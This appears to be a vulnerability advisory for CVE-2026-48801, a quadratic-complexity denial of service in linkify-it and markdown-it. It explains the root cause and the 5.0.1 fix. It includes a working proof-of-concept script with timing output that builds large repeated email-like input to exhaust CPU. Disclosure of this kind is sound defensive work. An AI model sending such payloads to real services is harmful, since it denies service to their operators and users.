CVE-2026-48801: linkify-it O(N²) DoS in match() scan loop
Sending a large block of repeated email-like text to any app that uses linkify-it (including markdown-it with linkify enabled) causes the server to burn CPU for seconds per request, making…
The problem
The LinkifyIt.prototype.match function in linkify-it <= 5.0.0 has O(N²) algorithmic complexity. On every loop iteration it re-slices the input string and re-runs three unanchored regex searches (host_fuzzy_test, link_fuzzy, email_fuzzy) over the full remaining tail.
The cost per match is proportional to the remaining input length, so total work across all matches is O(N²). At 64 KB of repeated a@b.com input, a single .match() call burns roughly 2.5 s of CPU; 128 KB takes around 10 s. Because markdown-it calls linkify.match() directly when linkify: true is set, the quadratic cost passes through transparently to every service that renders untrusted Markdown.
Proof of concept
A working proof-of-concept for CVE-2026-48801 in linkify-it, with the exact payload below.
import LinkifyIt from 'linkify-it'
const l = new LinkifyIt()
// 64 KB input -> ~2.5 s CPU; 128 KB -> ~10 s CPU
for (const n of [1000, 2000, 4000, 8000, 16000]) {
const evil = 'a@b.com\n'.repeat(n) // n=8000 -> 64 KB
const t0 = process.hrtime.bigint()
l.match(evil)
const ms = Number(process.hrtime.bigint() - t0) / 1e6
console.log(`n=${n} bytes=${evil.length} took ${ms.toFixed(0)} ms`)
}
// Measured output (Node v25, Apple Silicon):
// n=1000 bytes=8000 took 44 ms
// n=2000 bytes=16000 took 159 ms
// n=4000 bytes=32000 took 628 ms
// n=8000 bytes=64000 took 2506 ms
// n=16000 bytes=128000 took 9948 ms
// Via markdown-it (linkify: true) - same curve:
// const md = require('markdown-it')({ linkify: true })
// md.render('a@b.com '.repeat(8000)) // -> ~2.6 sThe root cause is structural, not a regex backtracking bug (CWE-407). The match() loop calls tail.slice(this.__last_index__) on each iteration (re-allocating up to N characters) and then calls this.test(tail), which runs three unanchored .search() and .match() calls over the full new tail.
Total cost is the sum N + (N-c) + (N-2c) + ... = O(N²).
The fix in 5.0.1 mirrors the schema-prefixed scan branch that was already linear: it adds the g flag to the fuzzy regexes (email_fuzzy, link_fuzzy, host_fuzzy_test) and rewrites the scan to advance re.lastIndex with re.exec(text) on the full original string instead of re-slicing the tail.
The outer match() loop drops tail.slice() entirely and tracks a numeric offset, making the total pass O(N).
The fix
Upgrade linkify-it to **5.0.1** (npm install linkify-it@5.0.1). If you use markdown-it, upgrade it to the version that pins linkify-it >= 5.0.1 as well. As a short-term mitigation, enforce a request-body size limit (e.g. 16 KB) on any endpoint that renders user-supplied text with linkify enabled, or disable linkify: false in markdown-it for untrusted input.
Reported by ltduc147.
Related research
- high · 7.5CVE-2026-49293CVE-2026-49293: js-toml CPU Exhaustion via Quadratic BigInt Parsing
- high · 7.5CVE-2026-71321CVE-2026-71321: Nuxt Island Endpoint Unauthenticated CPU Exhaustion (DoS)
- high · 7.5CVE-2026-71316CVE-2026-71316: Nuxt SSR Payload Cache Cross-User Information Disclosure
- high · 7.5CVE-2026-71314CVE-2026-71314: Nuxt Unauthenticated DoS via Unbounded v-for Expansion in Island Rendering